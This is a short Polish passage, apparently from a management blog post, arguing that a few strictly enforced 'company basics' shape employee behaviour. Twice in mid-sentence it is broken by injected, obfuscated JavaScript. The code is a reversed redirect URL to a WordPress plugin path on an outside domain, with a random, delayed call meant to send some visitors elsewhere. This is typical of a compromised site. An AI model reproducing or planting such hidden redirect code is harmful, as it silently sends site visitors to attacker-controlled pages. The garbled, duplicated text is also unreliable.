Po drugie, można te zachowania po prostu wymusić. Przez „standard”. Coś, co czasem nazywa się „company basics”, czyli zbiór zasad, które nie są jakoś specjalnie wynagradzane, czy nawet promowane, po prostu są bezwzględnie przestrzegane. Za ich nieprzestrzeganie nie grozi niższe czy wyższe wynagrodzenie czy utrata bonusu, ale utrata pracy. I jeśli te zasady są dla pracownika od początku jasne, jeśli nie jest ich zbyt dużo (z toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doświadczenia wiem, że więcej niż 7 nie zadziała), i jeśli są faktycznie przestrzegane i egzekwowane przez wszystkich, a nie spychane przez kolejne priorytety, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to zadziałają.